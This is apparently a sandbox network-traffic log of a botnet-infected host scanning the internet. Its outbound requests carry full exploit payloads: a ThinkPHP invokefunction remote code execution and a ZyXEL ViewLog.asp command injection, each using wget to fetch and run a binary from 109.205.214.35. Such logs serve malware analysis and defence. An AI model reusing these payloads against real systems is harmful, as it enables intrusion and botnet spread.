Mar 21, 2024 05:18:54.320894003 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:54 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1358	192.168.2.13	54504	95.213.2.155	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.140909910 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:55.222999096 CET	325	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:18:55.426948071 CET	353	IN	HTTP/1.1 400 Bad Request Server: kittenx Date: Thu, 21 Mar 2024 04:18:55 GMT Content-Type: text/html Content-Length: 152 Connection: close Strict-Transport-Security: max-age=86400 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6b 69 74 74 65 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>kittenx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1359	192.168.2.13	46430	178.23.189.174	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.154208899 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:54.365226030 CET	366	IN	HTTP/1.1 301 Moved Permanently Server: nginx Date: Thu, 21 Mar 2024 04:18:54 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive Location: https://brokerdeals.app/ Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>
Mar 21, 2024 05:18:54.365389109 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:18:54 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1360	192.168.2.13	33198	200.17.206.83	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.185679913 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1361	192.168.2.13	58794	178.154.253.244	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.365143061 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:54.578843117 CET	1059	IN	HTTP/1.1 302 Found Date: Thu, 21 Mar 2024 04:18:54 GMT Server: Apache/2.4.56 (Debian) Location: https://127.0.0.1/cgi-bin/ViewLog.asp Content-Length: 296 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 31 32 37 2e 30 2e 30 2e 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 48 54 54 50 2f 31 2e 31 20 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 0d 0a 44 61 74 65 3a 20 54 68 75 2c 20 32 31 20 4d 61 72 20 32 30 32 34 20 30 34 3a 31 38 3a 35 34 20 47 4d 54 0d 0a 53 65 72 76 65 72 3a 20 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 0d 0a 43 6f 6e 74 65 6e 74 2d 4c 65 6e 67 74 68 3a 20 33 30 37 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 69 73 6f 2d 38 38 35 39 2d 31 0d 0a 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 70 72 73 72 2e 66 61 73 74 62 6f 78 2e 73 75 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://127.0.0.1/cgi-bin/ViewLog.asp">here</a>.</p><hr><address>Apache/2.4.56 (Debian) Server at 127.0.0.1 Port 80</address></body></html>HTTP/1.1 400 Bad RequestDate: Thu, 21 Mar 2024 04:18:54 GMTServer: Apache/2.4.56 (Debian)Content-Length: 307Connection: closeContent-Type: text/html; charset=iso-8859-1<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at prsr.fastbox.su Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1362	192.168.2.13	52846	200.238.169.16	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.420979023 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save

Session ID	Source IP	Source Port	Destination IP	Destination Port
1363	192.168.2.13	33636	82.71.214.62	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:18:54.739437103 CET	435	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 127.0.0.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 176 Content-Type: application/x-www-form-urlencoded Data Raw: 20 72 65 6d 6f 74 65 5f 73 75 62 6d 69 74 5f 46 6c 61 67 3d 31 26 72 65 6d 6f 74 65 5f 73 79 73 6c 6f 67 5f 46 6c 61 67 3d 31 26 52 65 6d 6f 74 65 53 79 73 6c 6f 67 53 75 70 70 6f 72 74 65 64 3d 31 26 4c 6f 67 46 6c 61 67 3d 30 26 72 65 6d 6f 74 65 5f 68 6f 73 74 3d 25 33 62 63 64 2b 2f 74 6d 70 3b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 61 72 6d 37 3b 63 68 6d 6f 64 2b 37 37 37 2b 61 72 6d 37 3b 2e 2f 61 72 6d 37 20 7a 79 78 65 6c 3b 72 6d 2b 2d 72 66 2b 61 72 6d 37 25 33 62 25 32 33 26 72 65 6d 6f 74 65 53 75 62 6d 69 74 3d 53 61 76 65 0d 0a 0d 0a Data Ascii: remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=%3bcd+/tmp;wget+http://109.205.214.35/arm7;chmod+777+arm7;./arm7 zyxel;rm+-rf+arm7%3b%23&remoteSubmit=Save
Mar 21, 2024 05:18:54.936310053 CET	1286	IN	HTTP/1.1 403 Forbidden Date: Thu, 21 Mar 2024 04:18:54 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, Keep-Alive Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Keep-Alive: timeout=2, max=1000 Transfer-Encoding: chunked Content-Type: text/html Data Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 31 35 37 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 33 0d 0a 34 30 33 0d 0a 31 0d 0a 20 0d 0a 39 0d 0a 46 6f 72 62 69 64 64 65 6e 0d 0a 31 66 63 63 0d 0a 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 37 66 37 66 37 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 2d 69 6e 66 Data Ascii: 111157<!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>34031 9Forbidden1fcc</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #f7f7f7; color: #808080; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-inf
Mar 21, 2024 05:18:54.936362982 CET	1286	IN	Data Raw: 6f 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 38 30 38 30 38 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 63 6f 64 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d Data Ascii: o { color: #808080; } .status-code { font-size: 500%; } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text {
Mar 21, 2024 05:18:54.936412096 CET	1286	IN	Data Raw: 20 75 6c 20 6c 69 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 Data Ascii: ul li { width: 100%; } .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 1
Mar 21, 2024 05:18:54.936506033 CET	1286	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-image { float: left; } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left;
Mar 21, 2024 05:18:54.936583996 CET	1286	IN	Data Raw: 37 49 59 6d 54 79 77 31 4d 46 77 62 61 6b 73 61 79 62 53 78 44 43 41 34 53 54 46 2b 77 67 38 72 48 37 45 7a 4d 77 71 4e 69 62 59 33 38 6d 6c 76 58 4b 44 64 55 35 70 44 48 33 54 52 6b 6c 34 30 76 78 4a 6b 5a 2b 44 4f 32 4e 75 2f 33 48 6e 79 43 37 Data Ascii: 7IYmTyw1MFwbaksaybSxDCA4STF+wg8rH7EzMwqNibY38mlvXKDdU5pDH3TRkl40vxJkZ+DO2Nu/3HnyC7t15obGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGk
Mar 21, 2024 05:18:54.936666965 CET	1286	IN	Data Raw: 4f 52 6f 33 63 6b 69 51 35 5a 4f 55 7a 6c 43 4f 4d 79 69 39 5a 2b 4c 58 52 45 68 53 35 69 71 72 49 34 51 6e 75 4e 6c 66 38 6f 56 45 62 4b 38 41 35 35 36 51 51 4b 30 4c 4e 72 54 6a 32 74 69 57 66 63 46 6e 68 30 68 50 49 70 59 45 56 47 6a 6d 42 41 Data Ascii: ORo3ckiQ5ZOUzlCOMyi9Z+LXREhS5iqrI4QnuNlf8oVEbK8A556QQK0LNrTj2tiWfcFnh0hPIpYEVGjmBAe2b95U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24
Mar 21, 2024 05:18:54.936742067 CET	1231	IN	Data Raw: 52 65 4b 64 33 76 36 37 6e 50 39 63 4e 44 4a 48 76 6f 44 2b 2b 78 64 76 70 6f 76 58 4b 43 70 35 53 66 6f 47 78 48 73 6a 30 79 46 2b 49 77 48 55 75 73 37 73 6d 56 68 38 49 48 56 47 49 77 4a 74 4c 79 37 75 4e 36 50 65 2f 77 41 6e 72 42 78 4f 6e 41 Data Ascii: ReKd3v67nP9cNDJHvoD++xdvpovXKCp5SfoGxHsj0yF+IwHUus7smVh8IHVGIwJtLy7uN6Pe/wAnrBxOnAayISLWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU
Mar 21, 2024 05:18:54.936882019 CET	1286	IN	Data Raw: 33 37 0d 0a 34 30 33 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 0d 0a 34 63 0d 0a 46 6f 72 62 69 64 64 65 6e 3c 2f 73 70 61 6e 3e 0a Data Ascii: 37403</span> <span class="status-reason">4cForbidden</span> </section> <p class="reason-text">1dbAccess is forbidden to the requested page:</p> </div> <section class="additiona
Mar 21, 2024 05:18:54.936953068 CET	1286	IN	Data Raw: 73 73 3d 22 20 72 65 70 6c 61 63 65 64 2d 73 76 67 22 3e 3c 73 74 79 6c 65 3e 2e 73 74 30 7b 66 69 6c 6c 3a 23 66 37 66 37 66 37 7d 3c 2f 73 74 79 6c 65 3e 3c 63 69 72 63 6c 65 20 63 6c 61 73 73 3d 22 73 74 30 22 20 63 78 3d 22 32 38 33 2e 34 36 Data Ascii: ss=" replaced-svg"><style>.st0{fill:#f7f7f7}</style><circle class="st0" cx="283.46" cy="283.46" r="274"></circle><circle cx="283.46" cy="283.46" r="244.97" fill="#29bcb8"></circle><path class="st0" d="M92.35 183.97c-83.03 138.89 19.34 322.2 19
